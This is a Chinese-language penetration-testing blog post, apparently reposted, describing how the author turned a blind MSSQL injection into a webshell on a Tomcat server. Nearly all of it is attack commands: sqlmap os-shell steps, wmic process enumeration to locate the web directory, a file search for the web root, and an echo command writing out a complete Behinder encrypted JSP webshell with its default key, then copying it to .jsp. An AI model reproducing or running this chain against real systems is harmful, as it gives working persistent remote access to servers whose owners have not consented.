mssql dba注入點寫shell


某日同事發來一注入點
image.png
說是mssql用sqlmap跑可以執行命令,但是用powershell和mstha都無法上線cs,叫我看看。
首先用sqlmap跑一下,發現確實能執行命令,ping了一下dnslog發現不出網。
那么這里考慮寫shell,寫shell的話首先判斷是否站庫分離
image.png
發現非站庫分離,然后就是要找到web目錄。
因為是布爾盲注,先執行下面命令看下進程(tasklist數據太多了有點慢這個命令只看進程名)

os-shell> wmic process get name

image.png
發現tomcat7然后使用下面命令查看tomcat目錄

os-shell> wmic process where name="tomcat7.exe" get CommandLine

image.png
執行命令查看webapps

os-shell> dir D:\patentnew_tomcat_7\webapps\

image.png
發現為空文件夾,我們打開這個站找一個名字比較特殊的靜態文件。
image.png
web肯定在d盤的,然后os-shell執行命令(因為搜索時間較長所有不采用直接回顯的方式)

os-shell> dir /b/s d:z_6.png > d:\qa1.txt
os-shell> type d:\qa1.txt

image.png
echo寫入冰蠍shell(先寫入txt看shell內容是否正確寫入)

os-shell> echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\patent\images\login\ssss.txt
os-shell> copy D:\patent\images\login\ssss.txt D:\patent\images\login\ssss.jsp

image.png
冰蠍成功連接
image.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM